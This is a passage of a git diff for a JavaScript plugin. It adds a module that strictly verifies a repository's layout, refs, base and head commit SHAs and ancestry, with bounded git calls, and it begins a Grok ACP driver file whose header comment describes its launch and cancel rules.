path); + const declaredReal = await assertDirectoryNotSymlink( + declaredGitDir, path, 'repository_invalid', + ); + const observedReal = await realpathOf(observedGitDir, path, 'repository_invalid'); + if (declaredReal !== observedReal) { + fail('repository_invalid', path, `${path} is not a trusted git layout.`); + } + const commondirText = await readBoundedUtf8( + PATH_JOIN(declaredGitDir, 'commondir'), MAX_LAYOUT_FILE_BYTES, path, 'repository_invalid', + ); + if (commondirText === null) { + fail('repository_invalid', path, `${path} is not a trusted git layout.`); + } + const commonDir = await assertDirectoryNotSymlink( + resolveLayoutPath( + oneLayoutLine(commondirText, path, 'repository_invalid'), + declaredGitDir, path, 'repository_invalid', + ), + path, + 'repository_invalid', + ); + const worktreesRoot = await assertDirectoryNotSymlink( + PATH_JOIN(commonDir, 'worktrees'), path, 'repository_invalid', + ); + if (!isDirectChildPath(worktreesRoot, declaredReal)) { + fail('repository_invalid', path, `${path} is not a trusted git layout.`); + } + const backpointerText = await readBoundedUtf8( + PATH_JOIN(declaredGitDir, 'gitdir'), MAX_LAYOUT_FILE_BYTES, path, 'repository_invalid', + ); + if (backpointerText === null) { + fail('repository_invalid', path, `${path} is not a trusted git layout.`); + } + const backpointer = resolveLayoutPath( + oneLayoutLine(backpointerText, path, 'repository_invalid'), + declaredGitDir, path, 'repository_invalid', + ); + const expectedGitFile = PATH_JOIN(repositoryPath, '.git'); + let resolvedBack; + try { + resolvedBack = await REALPATH(backpointer); + } catch { + fail('repository_invalid', path, `${path} is not a trusted git layout.`); + } + let resolvedGitFile; + try { + resolvedGitFile = await REALPATH(expectedGitFile); + } catch { + fail('repository_invalid', path, `${path} is not a trusted git layout.`); + } + if (resolvedBack !== resolvedGitFile && resolvedBack !== repositoryPath) { + fail('repository_invalid', path, `${path} is not a trusted git layout.`); + } + await assertNoExternalObjectProvenance(commonDir, path); +} + +async function assertSafeRepositoryLayout(repositoryPath, observedGitDir, path) { + const gitFilePath = PATH_JOIN(repositoryPath, '.git'); + const layoutPath = `${path}.repository.path`; + let metadata; + try { + metadata = await LSTAT(gitFilePath); + } catch { + fail('repository_invalid', layoutPath, + `${layoutPath} is not a git worktree root.`); + } + if (isSymlinkStat(metadata)) { + fail('repository_invalid', layoutPath, `${layoutPath} is not a trusted git layout.`); + } + if (typeof metadata.isDirectory === 'function' && metadata.isDirectory()) { + const resolved = await realpathOf(gitFilePath, layoutPath, 'repository_invalid'); + const observedReal = await realpathOf(observedGitDir, layoutPath, 'repository_invalid'); + if (resolved !== observedReal) { + fail('repository_invalid', layoutPath, `${layoutPath} is not a trusted git layout.`); + } + await assertNoExternalObjectProvenance(gitFilePath, path); + return; + } + if (typeof metadata.isFile !== 'function' || !metadata.isFile()) { + fail('repository_invalid', layoutPath, `${layoutPath} is not a trusted git layout.`); + } + await assertLinkedWorktree(repositoryPath, gitFilePath, observedGitDir, path); +} + +function freezeRecord(keys, values) { + const snapshot = {}; + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (!capturedHasOwn(values, key)) continue; + OBJECT_DEFINE_PROPERTY(snapshot, key, { + value: values[key], enumerable: true, writable: false, configurable: false, + }); + } + return capturedFreeze(snapshot); +} + +function requiredKeys(input, keys, path) { + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (!hasOwn(input, key)) { + fail('missing_key', `${path}.${key}`, + `${path}.${key} is required (${GIT_IDENTITY_SCHEMA_ID}); git identity records have no hidden defaults.`); + } + } +} + +function digestCanonical(value) { + const canonical = canonicalJsonStringify(value); + const hash = CRYPTO_CREATE_HASH('sha256'); + HASH_UPDATE.call(hash, BUFFER_FROM(canonical, 'utf8')); + return HASH_DIGEST.call(hash, 'hex'); +} + +function assertClosedEnv(env, path) { + if (env === null || typeof env !== 'object' || ARRAY_IS_ARRAY(env)) { + fail('env_influence_denied', path, `${path} must be the closed git environment map.`); + } + for (let index = 0; index < FORBIDDEN_ENV_KEYS.length; index += 1) { + const key = FORBIDDEN_ENV_KEYS[index]; + if (capturedHasOwn(env, key)) { + fail('env_influence_denied', path, + `${path} must not carry git configuration, replace, graft, or directory overrides.`); + } + } +} + +function assertGitArgv(args, path) { + if (!ARRAY_IS_ARRAY(args)) fail('invalid_type', path, `${path} must be an argv array.`); + if (args.length > MAX_GIT_ARGS) { + fail('bounds_exceeded', path, `${path} exceeds the git argv arity cap.`); + } + for (let index = 0; index < args.length; index += 1) { + const arg = args[index]; + if (typeof arg !== 'string' || arg.length === 0) { + fail('hostile_name_denied', `${path}[${index}]`, `${path} entries must be non-empty strings.`); + } + if (arg.includes('\0')) { + fail('hostile_name_denied', `${path}[${index}]`, `${path} entries must not contain NUL.`); + } + if (BUFFER_BYTE_LENGTH(arg) > MAX_GIT_ARG_BYTES) { + fail('bounds_exceeded', `${path}[${index}]`, `${path} exceeds the git argument byte cap.`); + } + } +} + +function oneLine(text, path, pattern) { + if (typeof text !== 'string') { + fail('git_execution_failed', path, `${path} did not produce a bounded git observation.`); + } + let value = text; + if (value.endsWith('\n')) value = value.slice(0, -1); + if (value.endsWith('\r')) value = value.slice(0, -1); + if (value.includes('\n') || value.includes('\r') || value.includes('\0')) { + fail('git_execution_failed', path, `${path} produced extra git output.`); + } + if (pattern !== undefined && !pattern.test(value)) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + return value; +} + +function parseObservedSha(text, path) { + const value = oneLine(text, path); + if (!isSha40(value)) { + fail('git_execution_failed', path, `${path} did not resolve to an exact commit SHA.`); + } + return value; +} + +function assertBaseRefName(value, path) { + if (typeof value !== 'string') { + fail('invalid_type', path, `${path} must be a git branch ref string.`); + } + if (capturedUtf8ByteLength(value) > MAX_BASE_REF_BYTES) { + fail('out_of_range', path, `${path} exceeds the base-ref byte cap.`); + } + if (value.includes('\0') || value.includes('\n') || value.includes('\r') + || value.startsWith('-') || value.includes('..') || value.includes('@{') + || value.includes('\\') || value.includes('//') || value.endsWith('.lock') + || value.endsWith('.') || value.includes('~') || value.includes('^') + || value.includes(':') || value.includes('?') || value.includes('*') + || value.includes('[') || value.includes(' ') || value.includes('@') + || value === 'HEAD' || value === 'refs/heads/HEAD') { + fail('hostile_name_denied', path, `${path} is not an allowed base branch ref.`); + } + const segments = value.split('/'); + if (segments.length > MAX_BASE_REF_SEGMENTS) { + fail('out_of_range', path, `${path} exceeds the base-ref segment cap.`); + } + if (!PRIVATE_BASE_REF_PATTERN.test(value)) { + fail('hostile_name_denied', path, `${path} is not an allowed base branch ref.`); + } + return value; +} + +function parseRepository(input, path) { + const value = optOwn(input, 'repository'); + assertPlainObject(value, 'invalid_type', path, path); + assertClosedKeySet(value, GIT_IDENTITY_REPOSITORY_ALLOWED_KEYS, path); + requiredKeys(value, GIT_IDENTITY_REPOSITORY_ALLOWED_KEYS, path); + const repositoryPath = optOwn(value, 'path'); + assertRepositoryPath(repositoryPath, `${path}.path`); + const baseSha = optOwn(value, 'base_sha'); + assertBaseSha(baseSha, `${path}.base_sha`); + return freezeRecord(GIT_IDENTITY_REPOSITORY_ALLOWED_KEYS, { + path: repositoryPath, base_sha: baseSha, + }); +} + +function assertSequence(value, path) { + if (typeof value !== 'number' || !NUMBER_IS_SAFE_INTEGER(value)) { + fail('invalid_type', path, `${path} must be a safe integer sequence.`); + } + if (value < 0 || value > MAX_SEQUENCE - 1) { + fail('out_of_range', path, + `${path} must be an injected sequence in 0..${MAX_SEQUENCE - 1} so the paired head fact can bind.`); + } + return value; +} + +export function parseGitIdentityRequestV1(input, path = 'git_identity') { + assertPlainObject(input, 'invalid_type', path, `${path}`); + assertClosedKeySet(input, GIT_IDENTITY_REQUEST_ALLOWED_KEYS, path); + assertNestedClosedKeys(input, 'repository', GIT_IDENTITY_REPOSITORY_ALLOWED_KEYS, path); + assertDirectJsonClosure(input, path); + requiredKeys(input, GIT_IDENTITY_REQUEST_REQUIRED_KEYS, path); + const repository = parseRepository(input, `${path}.repository`); + const expectedBaseRef = assertBaseRefName( + optOwn(input, 'expected_base_ref'), `${path}.expected_base_ref`, + ); + const candidateHeadSha = optOwn(input, 'candidate_head_sha'); + assertBaseSha(candidateHeadSha, `${path}.candidate_head_sha`); + const runId = optOwn(input, 'run_id'); + assertRunId(runId, `${path}.run_id`); + const assignmentId = optOwn(input, 'assignment_id'); + if (!isAssignmentId(assignmentId)) { + fail('invalid_format', `${path}.assignment_id`, + `${path}.assignment_id violates the assignment-id grammar.`); + } + const sequence = assertSequence(optOwn(input, 'sequence'), `${path}.sequence`); + return freezeRecord(GIT_IDENTITY_REQUEST_ALLOWED_KEYS, { + repository, + expected_base_ref: expectedBaseRef, + candidate_head_sha: candidateHeadSha, + run_id: runId, + assignment_id: assignmentId, + sequence, + }); +} + +function parseOptions(options, path = 'options') { + if (options === undefined) { + return freezeRecord(GIT_IDENTITY_OPTIONS_ALLOWED_KEYS, { spawn: SPAWN }); + } + assertNotProxy(options, path); + assertPlainObject(options, 'invalid_type', path, path); + assertClosedKeySet(options, GIT_IDENTITY_OPTIONS_ALLOWED_KEYS, path); + let spawn = SPAWN; + if (hasOwn(options, 'spawn')) { + spawn = optOwn(options, 'spawn'); + if (typeof spawn !== 'function') { + fail('invalid_type', `${path}.spawn`, `${path}.spawn must be a spawn function.`); + } + assertNotProxy(spawn, `${path}.spawn`); + } + return freezeRecord(GIT_IDENTITY_OPTIONS_ALLOWED_KEYS, { spawn }); +} + +function createSession(spawnFn) { + const startedAt = Date.now(); + return { + spawn: spawnFn, + commands: 0, + startedAt, + deadlineAt: startedAt + MAX_GIT_TOTAL_TIME_MS, + }; +} + +function assertDeadline(session, path) { + if (Date.now() >= session.deadlineAt) { + fail('bounds_exceeded', path, `${path} exceeds the git wall-clock cap.`); + } +} + +function remainingMs(session) { + const left = session.deadlineAt - Date.now(); + return left > 0 ? left : 0; +} + +function assertSessionBounds(session, path) { + if (session.commands >= MAX_GIT_COMMANDS) { + fail('bounds_exceeded', path, `${path} exceeds the git command-count cap.`); + } + assertDeadline(session, path); +} + +function listenStream(stream, event, handler, path) { + if (stream === undefined || stream === null) return; + invokeHandle(stream, 'on', [event, handler], path); +} + +function runGit(session, args, path) { + assertGitArgv(args, `${path}.args`); + assertSessionBounds(session, path); + const budget = remainingMs(session); + if (budget <= 0) { + fail('bounds_exceeded', path, `${path} exceeds the git wall-clock cap.`); + } + session.commands += 1; + const argv = [GIT_EXECUTABLE, ...GIT_ISOLATION_FLAGS, ...args]; + assertGitArgv(argv, `${path}.argv`); + const spawnOptions = { + cwd: '/', + env: CLOSED_GIT_ENV, + stdio: ['ignore', 'pipe', 'pipe'], + windowsHide: true, + }; + assertClosedEnv(spawnOptions.env, `${path}.env`); + return new Promise((resolve, reject) => { + let child; + try { + child = session.spawn(GIT_EXECUTABLE, argv.slice(1), spawnOptions); + } catch (error) { + reject(contractError( + 'git_execution_failed', path, `${path} could not start a git observation.`, + )); + return; + } + try { + assertOwnedHandle(child, path); + } catch (error) { + reject(asContractError(error, path)); + return; + } + const stdoutChunks = []; + const stderrChunks = []; + let stdoutBytes = 0; + let stderrBytes = 0; + let exceeded = false; + let settled = false; + let timer; + const finish = (error, result) => { + if (settled) return; + settled = true; + clearTimeout(timer); + if (error) reject(asContractError(error, path)); + else resolve(result); + }; + const exceed = () => { + if (exceeded) return; + exceeded = true; + try { invokeHandle(child, 'kill', ['SIGKILL'], path); } catch { /* already exited */ } + finish(contractError( + 'bounds_exceeded', path, `${path} exceeded a closed git output or time bound.`, + )); + }; + timer = setTimeout(exceed, MATH_MIN(MAX_GIT_TIME_MS, budget)); + const onChunk = (target, getSize, setSize) => (chunk) => { + try { + const owned = ownedChunk(chunk, path); + const next = getSize() + owned.length; + setSize(next); + if (next > MAX_GIT_OUTPUT_BYTES) { + exceed(); + return; + } + REFLECT_APPLY(ARRAY_PUSH, target, [owned]); + } catch (error) { + finish(asContractError(error, path)); + } + }; + try { + listenStream( + readHandleField(child, 'stdout', path), + 'data', + onChunk(stdoutChunks, () => stdoutBytes, (value) => { stdoutBytes = value; }), + path, + ); + listenStream( + readHandleField(child, 'stderr', path), + 'data', + onChunk(stderrChunks, () => stderrBytes, (value) => { stderrBytes = value; }), + path, + ); + invokeHandle(child, 'once', ['error', () => { + finish(contractError( + 'git_execution_failed', path, `${path} could not complete a git observation.`, + )); + }], path); + invokeHandle(child, 'once', ['close', (code, signal) => { + if (exceeded) return; + try { + if (Date.now() >= session.deadlineAt) { + finish(contractError( + 'bounds_exceeded', path, `${path} exceeds the git wall-clock cap.`, + )); + return; + } + const stdout = BUFFER_CONCAT(stdoutChunks).toString('utf8'); + const stderr = BUFFER_CONCAT(stderrChunks).toString('utf8'); + if (signal !== null && signal !== undefined) { + finish(contractError( + 'git_execution_failed', path, `${path} could not complete a git observation.`, + )); + return; + } + finish(null, { + exit_code: typeof code === 'number' ? code : 1, + stdout, + stderr, + }); + } catch (error) { + finish(asContractError(error, path)); + } + }], path); + } catch (error) { + try { invokeHandle(child, 'kill', ['SIGKILL'], path); } catch { /* already exited */ } + finish(asContractError(error, path)); + } + }); +} + +async function gitLine(session, args, path, pattern) { + const result = await runGit(session, args, path); + if (result.exit_code !== 0) { + fail('git_execution_failed', path, `${path} could not complete a git observation.`); + } + return oneLine(result.stdout, path, pattern); +} + +async function gitLines(session, args, path, count) { + const result = await runGit(session, args, path); + if (result.exit_code !== 0) { + fail('git_execution_failed', path, `${path} could not complete a git observation.`); + } + let text = result.stdout; + if (text.endsWith('\n')) text = text.slice(0, -1); + if (text.includes('\0') || text.includes('\r')) { + fail('git_execution_failed', path, `${path} produced extra git output.`); + } + const lines = text.split('\n'); + if (lines.length !== count) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + return lines; +} + +async function gitMaybe(session, args, path) { + const result = await runGit(session, args, path); + return result; +} + +function cwdFlags(repositoryPath) { + return capturedFreeze(['-C', repositoryPath]); +} + +function repoFlags(repositoryPath, gitDir) { + return capturedFreeze(['-C', repositoryPath, '--git-dir', gitDir]); +} + +async function assertLocalRepository(session, repositoryPath, path) { + let metadata; + try { + metadata = await LSTAT(repositoryPath); + } catch { + fail('repository_missing', `${path}.repository.path`, + `${path}.repository.path does not identify an accessible directory.`); + } + if (typeof metadata?.isDirectory !== 'function' || !metadata.isDirectory() + || (typeof metadata.isSymbolicLink === 'function' && metadata.isSymbolicLink())) { + fail('repository_invalid', `${path}.repository.path`, + `${path}.repository.path must be a real directory, not a symlink or file.`); + } + let resolved; + try { + resolved = await REALPATH(repositoryPath); + } catch { + fail('repository_missing', `${path}.repository.path`, + `${path}.repository.path does not identify an accessible directory.`); + } + if (resolved !== repositoryPath || !PATH_IS_ABSOLUTE(resolved) || PATH_RESOLVE(resolved) !== resolved) { + fail('repository_invalid', `${path}.repository.path`, + `${path}.repository.path must be the real, absolute worktree root.`); + } + let identityLines; + try { + identityLines = await gitLines( + session, + [...cwdFlags(repositoryPath), 'rev-parse', '--path-format=absolute', + '--is-inside-work-tree', '--is-bare-repository', '--show-toplevel', '--absolute-git-dir'], + `${path}.repository`, + 4, + ); + } catch (error) { + if (error instanceof RunContractV1Error && error.code === 'git_execution_failed') { + fail('repository_invalid', `${path}.repository.path`, + `${path}.repository.path is not a git worktree root.`); + } + throw error; + } + const [inside, bare, toplevel, gitDir] = identityLines; + if (!PRIVATE_TRUE_FALSE_PATTERN.test(inside) || inside !== 'true') { + fail('repository_invalid', `${path}.repository.path`, + `${path}.repository.path is not a git worktree root.`); + } + if (!PRIVATE_TRUE_FALSE_PATTERN.test(bare) || bare !== 'false') { + fail('repository_invalid', `${path}.repository.path`, + `${path}.repository.path must not be a bare repository.`); + } + if (toplevel !== repositoryPath) { + fail('repository_invalid', `${path}.repository.path`, + `${path}.repository.path must equal the git worktree toplevel.`); + } + if (!PATH_IS_ABSOLUTE(gitDir) || PATH_RESOLVE(gitDir) !== gitDir || gitDir.includes('\0')) { + fail('repository_invalid', `${path}.repository.path`, + `${path}.repository.path did not yield an absolute git directory.`); + } + return gitDir; +} + +async function assertNoReplaceOrGrafts(session, flags, path) { + const replace = await gitMaybe( + session, + [...flags, 'for-each-ref', '--format=%(refname)', '--', 'refs/replace'], + `${path}.replace`, + ); + if (replace.exit_code !== 0) { + fail('replace_refs_denied', `${path}.replace`, + `${path} could not independently inspect replace refs.`); + } + const replaceText = replace.stdout.replace(/\n$/u, ''); + if (replaceText.length > 0) { + fail('replace_refs_denied', `${path}.replace`, + `${path} must not observe git replace refs.`); + } + const [graftsPath, shallowPath] = await gitLines( + session, + [...flags, 'rev-parse', '--path-format=absolute', + '--git-path', 'info/grafts', '--git-path', 'shallow'], + `${path}.grafts`, + 2, + ); + if (!PATH_IS_ABSOLUTE(graftsPath) || PATH_RESOLVE(graftsPath) !== graftsPath) { + fail('grafts_denied', `${path}.grafts`, `${path} produced a non-absolute grafts path.`); + } + if (!PATH_IS_ABSOLUTE(shallowPath) || PATH_RESOLVE(shallowPath) !== shallowPath) { + fail('rewritten_history', `${path}.shallow`, `${path} produced a non-absolute shallow path.`); + } + try { + await LSTAT(graftsPath); + fail('grafts_denied', `${path}.grafts`, `${path} must not observe git grafts.`); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + } + try { + await LSTAT(shallowPath); + fail('rewritten_history', `${path}.shallow`, + `${path} must not observe shallow history as a complete ancestry.`); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + } +} + +async function observeWorktreeHeadRef(session, flags, path) { + const result = await gitMaybe( + session, + [...flags, 'symbolic-ref', '--quiet', '--end-of-options', 'HEAD'], + `${path}.HEAD`, + ); + if (result.exit_code !== 0) { + fail('detached_ref_denied', `${path}.HEAD`, + `${path}.HEAD must be attached to a branch ref.`); + } + const headRef = oneLine(result.stdout, `${path}.HEAD`, PRIVATE_BASE_REF_PATTERN); + if (headRef === 'refs/heads/HEAD') { + fail('hostile_name_denied', `${path}.HEAD`, `${path}.HEAD is not an allowed branch ref.`); + } + return headRef; +} + +async function observeBaseRef(session, flags, expectedBaseRef, expectedBaseSha, path) { + const exists = await gitMaybe( + session, + [...flags, 'show-ref', '--verify', '--', expectedBaseRef], + `${path}.expected_base_ref`, + ); + if (exists.exit_code !== 0) { + fail('unborn_ref_denied', `${path}.expected_base_ref`, + `${path}.expected_base_ref does not name an existing commit.`); + } + const fullNameResult = await gitMaybe( + session, + [...flags, 'rev-parse', '--verify', '--symbolic-full-name', '--end-of-options', expectedBaseRef], + `${path}.expected_base_ref`, + ); + if (fullNameResult.exit_code !== 0) { + fail('unborn_ref_denied', `${path}.expected_base_ref`, + `${path}.expected_base_ref does not name an existing commit.`); + } + const fullName = oneLine( + fullNameResult.stdout, `${path}.expected_base_ref`, PRIVATE_BASE_REF_PATTERN, + ); + if (fullName !== expectedBaseRef) { + fail('symbolic_ref_drift', `${path}.expected_base_ref`, + `${path}.expected_base_ref resolved to a different ref name.`); + } + const asSymbolic = await gitMaybe( + session, + [...flags, 'symbolic-ref', '--quiet', '--end-of-options', expectedBaseRef], + `${path}.expected_base_ref`, + ); + if (asSymbolic.exit_code === 0) { + fail('symbolic_ref_drift', `${path}.expected_base_ref`, + `${path}.expected_base_ref must be a direct branch ref, not a symbolic ref.`); + } + const direct = await gitMaybe( + session, + [...flags, 'rev-parse', '--verify', '--end-of-options', expectedBaseRef], + `${path}.expected_base_ref`, + ); + if (direct.exit_code !== 0) { + fail('unborn_ref_denied', `${path}.expected_base_ref`, + `${path}.expected_base_ref does not name an existing commit.`); + } + const observedBaseSha = parseObservedSha(direct.stdout, `${path}.expected_base_ref`); + const objectType = await gitLine( + session, + [...flags, 'cat-file', '-t', '--', observedBaseSha], + `${path}.expected_base_ref`, + PRIVATE_OBJECT_TYPE_PATTERN, + ); + if (objectType !== 'commit') { + fail('non_commit_object', `${path}.expected_base_ref`, + `${path}.expected_base_ref is not a commit object.`); + } + const peeled = await gitMaybe( + session, + [...flags, 'rev-parse', '--verify', '--end-of-options', `${expectedBaseRef}^{commit}`], + `${path}.expected_base_ref`, + ); + if (peeled.exit_code !== 0) { + fail('non_commit_object', `${path}.expected_base_ref`, + `${path}.expected_base_ref does not peel to a commit.`); + } + const peeledSha = parseObservedSha(peeled.stdout, `${path}.expected_base_ref`); + if (peeledSha !== observedBaseSha) { + fail('non_commit_object', `${path}.expected_base_ref`, + `${path}.expected_base_ref is not a commit object.`); + } + if (expectedBaseSha !== observedBaseSha) { + const expectedType = await gitMaybe( + session, + [...flags, 'cat-file', '-t', '--', expectedBaseSha], + `${path}.repository.base_sha`, + ); + if (expectedType.exit_code !== 0) { + fail('non_commit_object', `${path}.repository.base_sha`, + `${path}.repository.base_sha is not a readable git object.`); + } + const expectedObjectType = oneLine( + expectedType.stdout, `${path}.repository.base_sha`, PRIVATE_OBJECT_TYPE_PATTERN, + ); + if (expectedObjectType !== 'commit') { + fail('non_commit_object', `${path}.repository.base_sha`, + `${path}.repository.base_sha is not a commit object.`); + } + } + return { sha: observedBaseSha, object_type: objectType }; +} + +async function observeHeadSha(session, flags, candidateHeadSha, path) { + const typeResult = await gitMaybe( + session, + [...flags, 'cat-file', '-t', '--', candidateHeadSha], + `${path}.candidate_head_sha`, + ); + if (typeResult.exit_code !== 0) { + fail('unreachable_head', `${path}.candidate_head_sha`, + `${path}.candidate_head_sha is not a readable git object.`); + } + const objectType = oneLine( + typeResult.stdout, `${path}.candidate_head_sha`, PRIVATE_OBJECT_TYPE_PATTERN, + ); + if (objectType !== 'commit') { + fail('non_commit_object', `${path}.candidate_head_sha`, + `${path}.candidate_head_sha is not a commit object.`); + } + const peeled = await gitMaybe( + session, + [...flags, 'rev-parse', '--verify', '--end-of-options', `${candidateHeadSha}^{commit}`], + `${path}.candidate_head_sha`, + ); + if (peeled.exit_code !== 0) { + fail('non_commit_object', `${path}.candidate_head_sha`, + `${path}.candidate_head_sha does not peel to a commit.`); + } + const observedHeadSha = parseObservedSha(peeled.stdout, `${path}.candidate_head_sha`); + if (observedHeadSha !== candidateHeadSha) { + fail('ambiguous_ref_denied', `${path}.candidate_head_sha`, + `${path}.candidate_head_sha did not resolve to itself.`); + } + return { sha: observedHeadSha, object_type: objectType }; +} + +async function observeAncestry(session, flags, expectedBaseSha, observedBaseSha, headSha, path) { + const ancestorResult = await gitMaybe( + session, + [...flags, 'merge-base', '--is-ancestor', '--', expectedBaseSha, headSha], + `${path}.ancestry`, + ); + if (ancestorResult.exit_code !== 0 && ancestorResult.exit_code !== 1) { + fail('git_execution_failed', `${path}.ancestry`, + `${path}.ancestry could not complete a merge-base ancestor check.`); + } + const ancestor = ancestorResult.exit_code === 0; + const mergeBaseResult = await gitMaybe( + session, + [...flags, 'merge-base', '--all', '--', expectedBaseSha, headSha], + `${path}.merge_base`, + ); + let mergeBaseSha = ''; + if (mergeBaseResult.exit_code === 0) { + const lines = mergeBaseResult.stdout.endsWith('\n') + ? mergeBaseResult.stdout.slice(0, -1).split('\n') + : mergeBaseResult.stdout.split('\n'); + if (lines.length !== 1 || !isSha40(lines[0])) { + mergeBaseSha = ''; + } else { + mergeBaseSha = lines[0]; + } + } + const baseMoved = observedBaseSha !== expectedBaseSha; + let staleBase = false; + let rewrittenBase = false; + if (baseMoved) { + const expectedStillAncestor = await gitMaybe( + session, + [...flags, 'merge-base', '--is-ancestor', '--', expectedBaseSha, observedBaseSha], + `${path}.stale_base`, + ); + if (expectedStillAncestor.exit_code === 0) staleBase = true; + else rewrittenBase = true; + } + const wrongMergeBase = !isSha40(mergeBaseSha) || mergeBaseSha !== expectedBaseSha; + const unreachableHead = ancestor !== true; + return { + ancestor, + merge_base_sha: isSha40(mergeBaseSha) ? mergeBaseSha : '', + stale_base: staleBase, + rewritten_base: rewrittenBase, + wrong_merge_base: wrongMergeBase, + unreachable_head: unreachableHead, + }; +} + +function durationOf(session, path) { + assertDeadline(session, path); + return MATH_MAX(0, MATH_FLOOR(Date.now() - session.startedAt)); +} + +function emitFact(kind, request, inputDigest, outputDigest, status, payload, durationMs) { + const boundedDuration = durationMs > MAX_DURATION_MS ? MAX_DURATION_MS : durationMs; + return parseVerifiedFactV1({ + fact_id: kind === 'git_identity' ? 'git-identity' : 'head-sha', + fact_kind: kind, + status, + code: 'host_observed', + run_id: request.run_id, + assignment_id: request.assignment_id, + sequence: kind === 'git_identity' ? request.sequence : request.sequence + 1, + subject: kind === 'git_identity' ? 'repository' : 'head', + authority: 'platform_git', + method: 'ancestry_check', + input_digest: inputDigest, + output_digest: outputDigest, + exit_code: null, + duration_ms: boundedDuration, + truncated: false, + payload, + artifact_digests: [], + }); +} + +function emitDiscrepancy(id, request, factIds, sequence) { + return parseEvidenceDiscrepancyV1({ + discrepancy_id: id, + discrepancy_kind: 'integrity', + status: 'recorded', + code: 'artifact_integrity_failure', + run_id: request.run_id, + assignment_id: request.assignment_id, + sequence, + claim_ids: [], + fact_ids: factIds, + artifact_digests: [], + }); +} + +export async function verifyGitIdentityV1(input, options) { + const request = parseGitIdentityRequestV1(input); + const parsedOptions = parseOptions(options); + const pathLabel = 'git_identity'; + const session = createSession(parsedOptions.spawn); + const repositoryPath = request.repository.path; + const gitDir = await assertLocalRepository(session, repositoryPath, pathLabel); + await assertSafeRepositoryLayout(repositoryPath, gitDir, pathLabel); + const flags = repoFlags(repositoryPath, gitDir); + await assertNoEffectiveProvenanceConfig(session, flags, pathLabel); + await assertNoReplaceOrGrafts(session, flags, pathLabel); + const worktreeHeadRef = await observeWorktreeHeadRef(session, flags, pathLabel); + const base = await observeBaseRef( + session, flags, request.expected_base_ref, request.repository.base_sha, pathLabel, + ); + const head = await observeHeadSha( + session, flags, request.candidate_head_sha, pathLabel, + ); + const ancestry = await observeAncestry( + session, flags, request.repository.base_sha, base.sha, head.sha, pathLabel, + ); + const durationMs = durationOf(session, pathLabel); + const observation = freezeRecord(GIT_IDENTITY_OBSERVATION_ALLOWED_KEYS, { + repository_path: repositoryPath, + git_dir: gitDir, + base_ref: request.expected_base_ref, + base_sha: base.sha, + head_sha: head.sha, + merge_base_sha: ancestry.merge_base_sha, + base_object_type: base.object_type, + head_object_type: head.object_type, + worktree_head_ref: worktreeHeadRef, + ancestor: ancestry.ancestor, + duration_ms: durationMs, + }); + const inputDigest = digestCanonical({ + repository: request.repository, + expected_base_ref: request.expected_base_ref, + candidate_head_sha: request.candidate_head_sha, + }); + const outputDigest = digestCanonical(observation); + if (!PRIVATE_SHA256_PATTERN.test(inputDigest) || !PRIVATE_SHA256_PATTERN.test(outputDigest)) { + fail('git_execution_failed', pathLabel, `${pathLabel} could not bind observation digests.`); + } + const discrepancies = []; + const pushDiscrepancy = (id, factIds) => { + const sequence = request.sequence + discrepancies.length; + if (sequence > MAX_SEQUENCE) return; + try { + REFLECT_APPLY(ARRAY_PUSH, discrepancies, [ + emitDiscrepancy(id, request, factIds, sequence), + ]); + } catch (error) { + if (error instanceof RunContractV1Error && error.code === 'out_of_range') return; + throw error; + } + }; + if (ancestry.stale_base) pushDiscrepancy('stale-base', ['git-identity']); + if (ancestry.rewritten_base) pushDiscrepancy('rewritten-history', ['git-identity', 'head-sha']); + if (ancestry.unreachable_head) pushDiscrepancy('unreachable-head', ['head-sha']); + if (ancestry.wrong_merge_base) pushDiscrepancy('wrong-merge-base', ['git-identity', 'head-sha']); + const verified = discrepancies.length === 0 + && base.sha === request.repository.base_sha + && head.sha === request.candidate_head_sha + && ancestry.ancestor === true + && ancestry.merge_base_sha === request.repository.base_sha; + const status = verified ? 'verified' : 'failed'; + const facts = capturedFreeze([ + emitFact( + 'git_identity', request, inputDigest, outputDigest, status, + { base_sha: request.repository.base_sha, head_sha: request.candidate_head_sha }, + durationMs, + ), + emitFact( + 'head_sha', request, inputDigest, outputDigest, status, + { sha: request.candidate_head_sha }, + durationMs, + ), + ]); + const result = freezeRecord(GIT_IDENTITY_RESULT_ALLOWED_KEYS, { + schema: GIT_IDENTITY_SCHEMA_ID, + version: GIT_IDENTITY_VERSION, + status, + facts, + discrepancies: capturedFreeze(discrepancies), + observation, + }); + if (status === 'verified') { + await assertNoEffectiveProvenanceConfig(session, flags, pathLabel); + } + assertDeadline(session, pathLabel); + return result; +} + +OBJECT_FREEZE(GIT_IDENTITY_ERROR_CODES); diff --git a/plugins/codex-co-engineer/mcp/v3/grok-acp-driver.mjs b/plugins/codex-co-engineer/mcp/v3/grok-acp-driver.mjs new file mode 100644 index 0000000..2f167d5 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/grok-acp-driver.mjs @@ -0,0 +1,1170 @@ +// Grok ACP ProviderDriverV1 adapter (P18). +// +// Additive v3 module. It owns ONLY the Grok-specific binding of the accepted +// P17 envelope/capability contract onto an injected bounded ACP transport: +// - provider slot is exactly `grok` with the exact selected model; +// - launch proof is the P03 ChildEnvelopeV1 text bytes plus raw lowercase +// 64-hex digest (digest-only launches stay denied by P17); +// - capability declaration is the accepted P05/P17 13-field record +// (confirmed_launch, live_session_reply, local_managed_worktree, +// run_base_sha, never_replay, merge none, create_pr prohibited); +// - preflight/launch/reconcile/cancel talk to a process-injected transport +// suitable for deterministic tests, not a live Grok stdio client; +// - launch is `dispatched` only after an authoritative ACP acknowledgement; +// any exception, timeout, loss, or unusable receipt after spawn/dispatch +// intent is returned as `dispatch_uncertain` and is never retried, +// replayed, or fallback-substituted; +// - live progress, detailed events, same-session reply identity, +// cancellation confirmation, and restart reattach are supported exactly +// where Grok ACP supports them, with stale identities failing closed; +// - completed, failed, cancelled, cancel_confirmed, and already_terminal +// latch process-local terminal evidence; later reconcile stays terminal +// and later cancel is already_terminal with no further transport cancel. +// cancel_requested stays nonterminal. Blocked-preflight receipts are +// validated, then provider detail is replaced with a fixed local pair; +// - event pages, text, counts, cursors, timings, and diagnostics are capped; +// envelope/prompt content is dispatch evidence and must not enter +// telemetry or driver detail messages. +// 